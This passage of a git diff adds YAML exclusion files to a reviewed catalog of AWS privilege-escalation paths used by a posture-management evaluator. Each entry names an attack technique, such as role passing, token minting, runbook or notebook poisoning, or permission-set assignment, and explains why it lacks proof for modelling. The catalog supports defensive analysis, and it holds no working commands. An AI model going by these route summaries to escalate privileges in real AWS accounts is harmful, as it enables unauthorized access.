src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#directory-services--workdocs + technique: Directory Services / WorkDocs + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workspaces-appstream-privesc/README.md + technique: WorkSpaces Applications redirect page + reason: Points to the AppStream page (covered by appstream.yaml). + source_revision: d11f0e7012 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workspaces-privesc/README.md#workspaces + technique: WorkSpaces + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_credential_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_credential_overclaim_20261016.yaml new file mode 100644 index 0000000000..9dc734f5a6 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_credential_overclaim_20261016.yaml @@ -0,0 +1,21 @@ +# Credential claims without an exact full principal or permission target. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudwatch-omni-privesc/README.md#cloudwatchgetspacecredentialsfororganization--obtain-member-account-space-credentials + technique: aws-cloudwatch-omni-getspacecredentialsfororganization + reason: The response returns space-scoped credentials but does not name the vended IAM principal. The configured + dataAccessRoleArn is the operator-role ceiling for space operations, not proof that the caller receives all of + that role's IAM permissions. A concrete edge needs a successful session identity and exact effective authority. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datazone-privesc/README.md#getenvironmentcredentials-as-a-custom-environment-role + technique: aws-datazone-getenvironmentcredentials + reason: DataZone vends a session explicitly narrower than the associated IAM role (role chaining removed), while + the entry targets the full role. Project membership is also not collected. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datazone-privesc/README.md#associateenvironmentrole--iampassrole + technique: aws-datazone-passrole-associateenvironmentrole + reason: The DataZone credential session excludes role chaining and project-level authorization is not collected. + A full passable-role edge is not established. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pcs-post-exploitation/README.md#pcsgetcluster-secretsmanagergetsecretvalue--steal-the-slurm-scheduler-authentication-key + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pcs-privesc/README.md#pcsgetcluster-secretsmanagergetsecretvalue--steal-the-slurm-scheduler-authentication-key + source_revision: 3ad99dc7ac + technique: aws-pcs-getcluster-slurm-secret-node-roles + reason: The PCS secret ARN is matched account-wide as pcs!* and target roles are inferred only from instance-profile + naming. No exact cluster-to-secret-to-queue-to-node-group-to-role join or accepted job/code-execution evidence + is evaluated. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_role_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_role_overclaim_20261016.yaml new file mode 100644 index 0000000000..39fee8ef8c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_role_overclaim_20261016.yaml @@ -0,0 +1,60 @@ +# These entries asserted a full IAM role or principal path without proof of that identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appconfig-privesc/README.md#appconfigcreateconfigurationprofile--iampassrole--deploymentread-permissions + technique: aws-appconfig-passrole-createconfigurationprofile + reason: AppConfig uses the passed role only to fetch specified configuration bytes; the source receives no role + session or general role permissions. +- source: src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md#metadata + technique: aws-lightsail-imds-verified-role + reason: The source is an unmodeled local-host foothold with no principal permission or action; requires host access, + and cannot establish an IAM-principal-to-role edge from the catalog. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdsmodifydbinstance + technique: aws-rds-modifydbinstance-master-password-associated-roles + reason: A database admin password enables only engine integrations such as specific S3/Lambda operations; it does + not yield an associated IAM role session or full role permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#out-of-band-sql-via-rds-data-api-by-enabling-http-endpoint--resetting-master-password + technique: aws-rds-modifydbcluster-master-password-associated-roles + reason: Aurora master access enables only configured SQL integrations; the associated IAM role is not assumed + by the source. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#read-the-rds-managed-master-password-from-secrets-manager-rdsdescribedb--secretsmanagergetsecretvalue + technique: aws-rds-managed-master-secret-associated-roles + reason: Reading the database master secret yields DB access, not credentials for the associated IAM role; any + SQL integration effect is limited and must be modeled separately. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshift + technique: aws-redshift-modifycluster-master-password + reason: Redshift admin access enables only configured SQL integrations; attached IAM role credentials and unrestricted + role permissions are not obtained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshiftgetclustercredentials + technique: aws-redshift-getclustercredentials + reason: Vended database credentials and SQL ASSUMEROLE grants are not the attached IAM role session or its full + IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshiftgetclustercredentialswithiam + technique: aws-redshift-getclustercredentialswithiam + reason: IAM-mapped database credentials grant database/SQL integration rights, not the attached IAM role session + or full IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshift-serverlessgetcredentials + technique: aws-redshift-serverless-getcredentials + reason: Serverless database credentials grant database/SQL integration rights, not the namespace role session + or full IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#iampassrole-s3createaccessgrantslocation-s3createaccessgrant-s3getdataaccess + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#iampassrole-s3createaccessgrantslocation-s3createaccessgrant-s3getdataaccess + source_revision: 3ad99dc7ac + technique: aws-s3-accessgrants-passrole-location-getdataaccess + reason: GetDataAccess vends credentials restricted by an S3 grant session policy; modeling the full passed IAM + role as reached overstates the target permissions. AWS confines the returned session to the granted S3 + bucket, prefix or object. The separate aws-s3-accessgrants-self-grant route models a verified new READ + permission on that bounded scope without claiming the location role's other permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballcreatejob--iampassrole--create-a-physical-s3-export-through-a-privileged-role + technique: aws-snowball-passrole-createjob + reason: The passed role is used only for a physical S3 export job; the source receives data, not the role identity + or IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballupdatejob--make-an-existing-snow-role-export-additional-s3-data-to-another-address + technique: aws-snowball-updatejob-existing-role + reason: Retargeting a physical export job discloses selected S3 data but does not yield the stored role identity + or IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statessendtasksuccess--inject-callback-output-into-a-privileged-next-state + technique: aws-stepfunctions-activity-callback-output-injection + reason: GetActivityTask can supply a live token and SendTaskSuccess can inject output, + but a role edge needs the exact execution, state-machine definition and dataflow + proving that the controlled output reaches a sensitive downstream AWS action + under a named execution role. A fixed business branch alone does not grant + that role's credentials or all its permissions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_secondary_bounded_role_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_secondary_bounded_role_overclaim_20261016.yaml new file mode 100644 index 0000000000..0d13612127 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_secondary_bounded_role_overclaim_20261016.yaml @@ -0,0 +1,44 @@ +# Additional role targets whose service execution is bounded by a fixed configuration or file/SQL session. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#hijack-resolver-function-or-data-source-behavior + technique: aws-appsync-updateresolver-existing-datasource-role + reason: Only HTTP data sources with IAM authorization can sign arbitrary AWS API calls. This entry targets every + existing AppSync data-source role, including DynamoDB/OpenSearch/RDS/EventBridge backends whose role use is + bounded; reauthor an exact HTTP selector and invocation proof. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datasync-privesc/README.md#datasyncupdatelocations3-datasyncstarttaskexecution-iampassrole--replace-a-stored-location-role + technique: aws-datasync-updatelocations3-starttaskexecution + reason: The fixed bucket and destination limit the effect to a selected S3 copy, not the full passable DataSync + role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-pipes-privesc/README.md#pipescreatepipe-or-updatepipe--iampassrole + technique: aws-pipes-passrole-createpipe-or-updatepipe + reason: Pipes can only read supported sources and invoke configured enrichment/targets; the entry itself says + arbitrary role API calls are unavailable. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-pipe-stored-role-privesc/README.md#pipesstartpipe--execute-a-stopped-pipe-with-its-stored-role + technique: aws-pipes-startpipe-stored-role + reason: Starting a fixed pipe triggers only its stored source/enrichment/target operations and does not yield + its role or new general permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdsaddroletodbcluster-iampassrole + technique: aws-rds-addroletodbcluster-passrole + reason: Adding a role to a DB cluster enables only engine-specific SQL integrations; the source does not receive + the full passed role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdsaddroletodbinstance-iampassrole + technique: aws-rds-addroletodbinstance-passrole + reason: Adding a role to a DB instance enables only engine-specific SQL integrations; the source does not receive + the full passed role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rds-dbconnect + technique: aws-rds-dbconnect-iam-auth-associated-roles + reason: IAM DB authentication grants a database session and configured SQL integration actions, not the associated + IAM role session or full permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartautomationexecution--execute-a-preauthorized-runbook-role + technique: aws-ssm-startautomationexecution-stored-role + reason: Starting a fixed Automation runbook triggers only its stored steps; the source does not receive the hardcoded + role session. A policy-attachment step should be modeled as an exact added permission. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferimportsshpublickey--impersonate-a-service-managed-user + technique: aws-transfer-importsshpublickey + reason: Transfer Family supplies only session-policy/home-directory-limited file access; the entry explicitly + says no AWS API credentials are obtained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#secretsmanagerputsecretvalue--poison-a-secrets-manager-backed-custom-idp-user + technique: aws-transfer-secret-backed-idp-record + reason: A custom IdP record can select a Transfer role for a file session, but does not give broad IAM role permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferupdateserver-lambdaupdatefunctioncode-or-api-gateway-response-writes--take-over-a-custom-identity-provider + technique: aws-transfer-custom-idp-takeover + reason: Controlling the custom IdP response selects a Transfer file-session role, not a general IAM role session. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..b7e70574bb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_strict_reaudit_20261016.yaml @@ -0,0 +1,63 @@ +# Prior active entries archived in docs/privesc-ledgers/aws-scope-archive-20261016/sso-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssoputinlinepolicytopermissionset-ssoprovisionpermissionset + source_revision: 171e422299 + technique: Add an inline policy to a permission set and re-provision it + reason: Source IAM principal to a credentialed, controlled Identity Center user/group + and its exact permission-set assignment is only described in conditions; the evaluator + has no source-subject-assignment proof, so update rights alone establish no gained + permission. + prior_id: aws-sso-putinlinepolicytopermissionset +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssoattachmanagedpolicytopermissionset-ssoprovisionpermissionset + source_revision: 171e422299 + technique: Attach an AWS-managed policy to a permission set and re-provision it + reason: Source IAM principal to a credentialed, controlled Identity Center user/group + and its exact permission-set assignment is only described in conditions; the evaluator + has no source-subject-assignment proof, so update rights alone establish no gained + permission. + prior_id: aws-sso-attachmanagedpolicytopermissionset +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssoattachcustomermanagedpolicyreferencetopermissionset-ssoprovisionpermissionset + source_revision: 171e422299 + technique: Attach a customer-managed policy reference to a permission set and re-provision + it + reason: Source IAM principal to a credentialed, controlled Identity Center user/group + and its exact permission-set assignment is only described in conditions; the evaluator + has no source-subject-assignment proof, so update rights alone establish no gained + permission. + prior_id: aws-sso-attachcustomermanagedpolicyreference +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodeletepermissionsboundaryfrompermissionset + source_revision: 171e422299 + technique: Remove a restricting policy or boundary from a permission set and re-provision + it + reason: Source IAM principal to a credentialed, controlled Identity Center user/group + and its exact permission-set assignment is only described in conditions; the evaluator + has no source-subject-assignment proof, so update rights alone establish no gained + permission. + prior_id: aws-sso-remove-permission-set-restriction +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#identitystorecreategroupmembership + source_revision: 171e422299 + technique: Add an Identity Center user controlled by the source to a group + reason: CreateGroupMembership can add an arbitrary Identity Center user, but the + evaluator does not prove the source controls that user or that the target permission + set is assigned to the chosen group. + prior_id: aws-identitystore-creategroupmembership +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssocreateaccountassignment + source_revision: 171e422299 + technique: Assign a permission set to a controlled user in an account + reason: CreateAccountAssignment can assign an arbitrary user/group, but the evaluator + does not prove the source controls its credentials or that the assignment is usable + by the source. + prior_id: aws-sso-createaccountassignment +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssocreatepermissionset--policy-attach--ssocreateaccountassignment--build-an-admin-path-from-scratch + source_revision: 171e422299 + technique: Create an admin permission set and assign it to a controlled user in + a member account + reason: The create/attach/assign actions grant a chosen Identity Center subject, + but no source-to-controlled-subject credential join is evaluated. + prior_id: aws-sso-createpermissionset-attach-assign +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#account-accesscreateentitlement--assign-an-existing-iam-role-to-a-controlled-identity-center-user + source_revision: 171e422299 + technique: Assign an existing IAM role to a controlled Identity Center user through + Account Access Manager + reason: CreateEntitlement grants the selected Identity Center subject; the evaluator + does not prove the source controls that subject or can use the entitlement. + prior_id: aws-account-access-createentitlement diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sts_federation_tokens_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sts_federation_tokens_20261022.yaml new file mode 100644 index 0000000000..9ba80ad234 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sts_federation_tokens_20261022.yaml @@ -0,0 +1,9 @@ +# Federation API grants alone do not prove control of a usable external assertion. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerolewithsaml + source_revision: 582f48435f + technique: Assume an IAM role using a controlled SAML assertion + reason: A role trust for a SAML provider does not show that the source can obtain or sign an unexpired assertion for the exact role and principal. A usable edge needs the assertion issuer, audience, role claim, source control and trust-condition joins; these are not collected from AWS IAM permissions alone. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerolewithwebidentity + source_revision: 582f48435f + technique: Assume an IAM role using a controlled web identity token + reason: Web identity role trust alone does not prove possession of a valid token with the exact issuer, audience and subject. A usable edge needs token control, freshness, matching provider and trust conditions and any pod or workload access proof; these are not inferable from IAM permission inventory alone. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..872da3f074 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml @@ -0,0 +1,11 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/studio-space-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#set-lifecycle-configuration-on-sagemaker-studio + source_revision: b587e6bd26 + technique: Attach a controlled Studio lifecycle configuration to an existing space + reason: The IAM-domain shared-space subset is implemented as + aws-sagemaker-attach-studio-lifecycle-config-shared-space with exact role, app type, + free lifecycle-config name, CreateStudioLifecycleConfig, UpdateSpace, CreateApp and + AddTags joins. Private spaces, non-IAM domains and already-running apps require + separate owner, authorization and restart evidence; the shared-space subset must not + be generalized to them. + prior_id: aws-sagemaker-attach-studio-lifecycle-config-space diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sweep.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sweep.yaml new file mode 100644 index 0000000000..af15cff693 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sweep.yaml @@ -0,0 +1 @@ +# Reviewed privilege-escalation sweep exclusions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..079633c439 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml @@ -0,0 +1,105 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/uncollected-host-join-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#updateapplication--code-control--application-execution-role + source_revision: 171e422299 + technique: Repoint the code of an existing Managed Flink application that keeps its execution + role + reason: The running STREAMING application inline-ZIP subset is implemented as + aws-flink-updateapplication-inline-code-existing-role with exact application, role, + version, UpdateApplication and PassRole joins. This broader retired entry also covers + S3-sourced code and other application states; those require a controlled readable code + object or an authorized StartApplication and are not inferred from update permission alone. + prior_id: aws-flink-updateapplication-code +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athenaupdatenotebook--poison-a-spark-notebook-executed-later + source_revision: 171e422299 + technique: Replace the cells of an Athena Spark notebook that is executed later + reason: The athena_workgroup resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-athena-updatenotebook-poison +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamupdatefleet--replace-an-existing-fleet-image-while-retaining-its-role + source_revision: 6fb9ac51fd + technique: Replace an existing AppStream fleet image or session-script archive while retaining + its role + reason: The appstream_fleet resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-appstream-updatefleet-image-swap +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessgetsessionendpoint--take-over-an-existing-spark-connect-session + source_revision: 171e422299 + technique: Attach to an active EMR Serverless Spark Connect session + reason: The emr-serverless_session resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-emr-serverless-getsessionendpoint +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessupdateapplication + source_revision: 171e422299 + technique: Poison the default runtime configuration of an EMR Serverless application + reason: The emr-serverless_application resource-to-role attachment is not loaded by the AWS + evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the + exact role that the source operation reaches. + prior_id: aws-emr-serverless-updateapplication-runtime-config +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#privesc-to-ecs + source_revision: 171e422299 + technique: Open an SSM session into an ECS container with ExecuteCommand enabled + reason: The collector records ECS tasks and their roles, but not the exact SSM runtime target + identifier and resumable shell channel for a container. StartSession permission by itself + does not prove a ready ExecuteCommand agent, matching shell document, OpenDataChannel grant + or usable task-role credentials. Keep this conditional route out of the automatic principal graph. + prior_id: aws-ssm-startsession-ecs-exec +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmsendcommand + source_revision: 6fb9ac51fd + technique: Run commands or open sessions on hybrid managed nodes that carry an SSM service role + reason: The ssm_managed_instance resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-ssm-exec-hybrid-managed-node +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statesupdatestatemachine--not-always-required-iampassrole + source_revision: 171e422299 + technique: Modify the definition of an existing state machine keeping its role + reason: The collector records each state machine's exact roleArn, stateMachineArn, status and + type; the active PassRole route checks an update and execution on one machine. A separate + definition-only route without PassRole remains unproven because the AWS service authorization + reference lists iam:PassRole as a dependent action for UpdateStateMachine even though roleArn + is optional in the request. Do not infer this variant from update permission alone. + prior_id: aws-stepfunctions-updatestatemachine-existing-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkcreateapplicationversion-elasticbeanstalkupdateenvironment-cloudformationgettemplate-cloudformationdescribestackresources-cloudformationdescribestackresource-autoscalingdescribeautoscalinggroups-autoscalingsuspendprocesses + source_revision: 171e422299 + technique: Deploy an attacker-hosted application version to an existing environment + reason: The elasticbeanstalk_environment resource-to-role attachment is not loaded by the AWS + evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the + exact role that the source operation reaches. + prior_id: aws-elasticbeanstalk-createapplicationversion-updateenvironment +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#managed-compute-shell-with-gameliftgetcomputeaccess + source_revision: b587e6bd26 + technique: Open a Session Manager shell on a GameLift fleet compute and use its instance role + reason: The gamelift_fleet resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-gamelift-getcomputeaccess-fleet-instance-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mainframe-modernization-privesc/README.md#m2updateapplication---store-a-malicious-application-version-for-later-deployment + source_revision: b587e6bd26 + technique: Deploy a modified M2 application version under its existing role + reason: 'UpdateApplication creates a stored application version without changing its roleArn + or deploying it. A principal-to-principal route requires an exact existing application and + its GetApplication roleArn, a valid attacker-controlled definition or executable artifact, + a later CreateDeployment of that version to an eligible runtime environment, and a start + when needed. The later deployment must be observed or authorized to the same caller; do not + infer it from UpdateApplication alone. The AWS evaluator collects no m2_application facts or + version-to-deployment-to-role join, so service trust or an application name cannot identify + a reachable role.' + prior_id: aws-m2-updateapplication-deploy-existing-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#aws---agentcore-harness-rce-via-indirect-prompt-injection + source_revision: b587e6bd26 + technique: Invoke an existing AgentCore harness with its shell tool to run commands as its execution + role + reason: The bedrock-agentcore_harness resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-bedrock-agentcore-invokeharness-shell-existing +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdacreatemicrovmshellauthtoken--shell-into-an-existing-lambda-microvm + source_revision: 171e422299 + technique: Open a shell into a running Lambda MicroVM + reason: The lambda_microvm resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-lambda-microvm-createmicrovmshellauthtoken diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml new file mode 100644 index 0000000000..7e4e28b220 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml @@ -0,0 +1,57 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/uncollected-service-join-final-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifyupdateapp-amplifystartjob + source_revision: 6fb9ac51fd + technique: Change an Amplify app build specification and start a build + reason: The amplify resource-to-role attachment is not loaded by the AWS evaluator (absent from + HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. + The attached resource ARN and action coverage cannot be proven. + prior_id: aws-amplify-updateapp-startjob +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifyupdatebranch-amplifystartjob--branch-scoped-build-code-execution + source_revision: 6fb9ac51fd + technique: Change an Amplify branch's build environment variables and start a build + reason: The amplify resource-to-role attachment is not loaded by the AWS evaluator (absent from + HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. + The attached resource ARN and action coverage cannot be proven. + prior_id: aws-amplify-updatebranch-startjob +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#bedrock-agentcorestartcodeinterpretersession--bedrock-agentcoreinvokecodeinterpreter---code-interpreter-execution-role-pivot + source_revision: 6fb9ac51fd + technique: Run code in an existing AgentCore Code Interpreter with an execution role + reason: The bedrock-agentcore resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. + The attached resource ARN and action coverage cannot be proven. + prior_id: aws-bedrock-agentcore-codeinterpreter-existing +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreateharness-iampassrole-invokeagentruntimecommand--root-shell-as-a-role + source_revision: 6fb9ac51fd + technique: Run shell commands in an existing AgentCore agent runtime + reason: The bedrock-agentcore resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. + The attached resource ARN and action coverage cannot be proven. + prior_id: aws-bedrock-agentcore-invokeagentruntimecommand-existing-runtime +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsexecutecommand-ecsdescribetasks-and-optionally-a-task-launching-action + source_revision: 171e422299 + technique: Execute commands in a running ECS task with ECS Exec + reason: The old unjoined route is replaced by active aws-ecs-executecommand, which requires a running task, exact task role, ready per-container Exec agent, cluster and task authorization, and task-role SSM channel permissions. + prior_id: aws-ecs-executecommand +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#hijack-ecs-scheduling-via-malicious-capacity-provider-ec2-asg-takeover + source_revision: 171e422299 + technique: Move a service onto a capacity provider backed by instances the source controls + reason: The collector records ECS tasks and their roles, but not a complete source-controlled + host, capacity-provider, Auto Scaling group and future task-placement chain. A service strategy + change does not guarantee a target-role task lands on a host the source can access, so this + conditional route is excluded from the automatic principal graph. + prior_id: aws-ecs-capacity-provider-hijack +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#classic-mwaa-airflowcreateweblogintoken--airflowcreateclitoken--code-execution-as-the-environment-execution-role + source_revision: b587e6bd26 + technique: Mint an Airflow CLI token for an MWAA environment and run code as its execution role + reason: The airflow-env.amazonaws.com resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND), so service-role trust cannot identify the exact role reached by the + source action. The attached resource ARN and action coverage cannot be proven. + prior_id: aws-mwaa-createclitoken-execution-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#classic-mwaa-airflowcreateweblogintoken--airflowcreateclitoken--code-execution-as-the-environment-execution-role + source_revision: b587e6bd26 + technique: Mint an Airflow web-login token for an MWAA environment and run code as its execution + role + reason: The airflow-env.amazonaws.com resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND), so service-role trust cannot identify the exact role reached by the + source action. The attached resource ARN and action coverage cannot be proven. + prior_id: aws-mwaa-createweblogintoken-execution-role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..dad60afbec --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml @@ -0,0 +1,101 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/unjoined-subject-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationupdatestackset + source_revision: 6fb9ac51fd + technique: Update an existing self-managed StackSet + reason: UpdateStackSet changes an existing StackSet, but no collected StackSet-to-administration-role + or execution-role join identifies the target; service trust alone overclaims the pivot. + prior_id: aws-cloudformation-updatestackset-attached +- source: 